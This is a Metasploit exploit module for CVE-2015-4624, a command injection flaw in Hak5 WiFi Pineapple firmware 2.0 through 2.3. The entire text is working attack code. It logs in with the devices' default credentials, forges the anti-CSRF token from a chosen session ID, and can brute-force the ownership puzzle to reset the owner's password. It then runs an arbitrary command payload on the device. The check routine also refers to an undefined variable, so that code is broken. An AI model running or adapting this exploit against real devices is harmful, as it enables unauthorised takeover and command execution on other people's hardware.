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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection', 'Description'=> %q{ This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4. We use a combination of default credentials with a weakness in the anti-csrf generation to achieve command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail, you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a known password if successful and may interrupt the user experience. These devices may typically be identified by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting worm. }, 'Author' => ['catatonicprime'], 'License'=> MSF_LICENSE, 'References' => [[ 'CVE', '2015-4624' ]], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload'=> { 'Space'=> 2048, 'DisableNops'=> true, 'Compat' => { 'PayloadType'=> 'cmd', 'RequiredCmd'=> 'generic python netcat telnet' } }, 'Targets'=> [[ 'WiFi Pineapple 2.0.0 - 2.3.0', {}]], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Aug 1 2015' )) register_options( [ OptString.new('USERNAME', [ true, 'The username to use for login', 'root' ]), OptString.new('PASSWORD', [ true, 'The password to use for login', 'pineapplesareyummy' ]), OptString.new('PHPSESSID', [ true, 'PHPSESSID to use for attack', 'tospovirus' ]), OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]), Opt::RPORT(1471), Opt::RHOST('172.16.42.1') ] ) register_advanced_options( [ OptBool.new('BruteForce', [ false, 'When true, attempts to solve LED puzzle after login failure', false ]), OptInt.new('BruteForceTries', [ false, 'Number of tries to solve LED puzzle, 0 -> infinite', 0 ]) ] ) deregister_options( 'ContextInformationFile', 'DOMAIN', 'DigestAuthIIS', 'EnableContextEncoding', 'FingerprintCheck', 'HttpClientTimeout', 'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'SSL', 'SSLVersion', 'VERBOSE', 'WORKSPACE', 'WfsDelay', 'Proxies', 'VHOST' ) end def login_uri normalize_uri('includes', 'api', 'login.php') end def brute_uri normalize_uri("/?action=verify_pineapple") end def set_password_uri normalize_uri("/?action=set_password") end def phpsessid datastore['PHPSESSID'] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def cookie "PHPSESSID=#{phpsessid}" end def csrf_token Digest::SHA1.hexdigest datastore['PHPSESSID'] end def use_brute datastore['BruteForce'] end def use_brute_tries datastore['BruteForceTries'] end def login # Create a request to login with the specified credentials. res = send_request_cgi( 'method'=> 'POST', 'uri' => login_uri, 'vars_post' => { 'username' => username, 'password' => password, 'login'=> "" # Merely indicates to the pineapple that we'd like to login. }, 'headers' => { 'Cookie' => cookie } ) return nil unless res # Successful logins in preconfig pineapples include a 302 to redirect you to the "please config this device" pages return res if res.code == 302 && (res.body !~ /invalid username/) # Already logged in message in preconfig pineapples are 200 and "Invalid CSRF" - which also indicates a success return res if res.code == 200 && (res.body =~ /Invalid CSRF/) nil end def cmd_inject(cmd) res = send_request_cgi( 'method'=> 'POST', 'uri' => target_uri.path, 'cookie'=> cookie, 'vars_get'=> { 'execute' => "" # Presence triggers command execution }, 'vars_post' => { '_csrfToken' => csrf_token, 'commands' => cmd } ) res end def brute_force print_status('Beginning brute forcing...') # Attempt to get a new session cookie with an LED puzzle tied to it. res = send_request_cgi( 'method' => 'GET', 'uri'=> brute_uri ) # Confirm the response indicates there is a puzzle to be solved. if !res || !(res.code == 200) || res.body !~ /own this pineapple/ print_status('Brute forcing not available...') return nil end cookies = res.get_cookies counter = 0 while use_brute_tries.zero? || counter < use_brute_tries print_status("Try #{counter}...") if (counter % 5).zero? counter += 1 res = send_request_cgi( 'method'=> 'POST', 'uri' => brute_uri, 'cookie'=> cookies, 'vars_post' => { 'green'=> 'on', 'amber'=> 'on', 'blue' => 'on', 'red'=> 'on', 'verify_pineapple' => 'Continue' } ) if res && res.code == 200 && res.body =~ /set_password/ print_status('Successfully solved puzzle!') return write_password(cookies) end end print_warning("Failed to brute force puzzle in #{counter} tries...") nil end def write_password(cookies) print_status("Attempting to set password to: #{password}") res = send_request_cgi( 'method' => 'POST', 'uri'=> set_password_uri, 'cookie' => cookies, 'vars_post'=> { 'password' => password, 'password2'=> password, 'eula' => 1, 'sw_license' => 1, 'set_password' => 'Set Password' } ) if res && res.code == 200 && res.body =~ /success/ print_status('Successfully set password!') return res end print_warning('Failed to set password') nil end def check loggedin = login unless loggedin brutecheck = send_request_cgi( 'method' => 'GET', 'uri'=> brute_uri ) return Exploit::CheckCode::Safe if !brutecheck || !brutecheck.code == 200 || brutecheck.body !~ /own this pineapple/ return Exploit::CheckCode::Vulnerable end cmd_success = cmd_inject("echo") return Exploit::CheckCode::Vulnerable if cmd_success && cmdSuccess.code == 200 && cmd_success.body =~ /Executing/ Exploit::CheckCode::Safe end def exploit print_status('Logging in with credentials...') loggedin = login if !loggedin && use_brute brute_force loggedin = login end unless loggedin fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}") end print_status('Executing payload...') cmd_inject("#{payload.encoded}") end end |
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